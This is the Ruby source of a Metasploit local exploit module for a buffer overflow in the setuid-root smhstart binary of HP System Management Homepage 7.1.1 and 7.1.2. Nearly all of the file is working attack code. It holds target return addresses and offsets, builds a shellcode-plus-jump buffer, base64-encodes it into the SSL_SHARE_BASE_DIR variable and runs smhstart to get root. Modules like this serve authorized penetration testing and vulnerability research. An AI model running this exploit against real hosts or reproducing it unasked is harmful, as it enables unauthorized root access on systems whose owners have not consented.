91 lines
2.7 KiB
Ruby
91 lines
2.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/exploit/local/linux'
|
|
require 'msf/core/exploit/exe'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::File
|
|
|
|
include Msf::Exploit::Local::Linux
|
|
|
|
def initialize(info={})
|
|
super( update_info( info, {
|
|
'Name' => 'HP System Management Homepage Local Privilege Escalation',
|
|
'Description' => %q{
|
|
Versions of HP System Management Homepage <= 7.1.2 include a setuid root
|
|
smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR
|
|
env variable.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'agix' # @agixid # Vulnerability discovery and Metasploit module
|
|
],
|
|
'Platform' => [ 'linux' ],
|
|
'Arch' => [ ARCH_X86 ],
|
|
'SessionTypes' => [ 'shell' ],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 227,
|
|
'BadChars' => "\x00\x22"
|
|
},
|
|
'References' =>
|
|
[
|
|
['OSVDB', '91990']
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[ 'HP System Management Homepage 7.1.1',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'CallEsp' => 0x080c86eb, # call esp
|
|
'Offset' => 58
|
|
}
|
|
],
|
|
[ 'HP System Management Homepage 7.1.2',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'CallEsp' => 0x080c8b9b, # call esp
|
|
'Offset' => 58
|
|
}
|
|
],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'PrependSetuid' => true
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => "Mar 30 2013",
|
|
}
|
|
))
|
|
register_options([
|
|
OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
pl = payload.encoded
|
|
padding = rand_text_alpha(target['Offset'])
|
|
ret = [target['CallEsp']].pack('V')
|
|
exploit = pl
|
|
exploit << ret
|
|
exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11
|
|
exploit << "\xe9\x0e\xff\xff\xff" # jmp => begining of pl
|
|
exploit << padding
|
|
exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
|
|
id=cmd_exec("id -un")
|
|
if id!="hpsmh"
|
|
fail_with(Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
|
|
end
|
|
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
|
|
cmd_exec("#{datastore['smhstartDir']}/smhstart")
|
|
end
|
|
|
|
end
|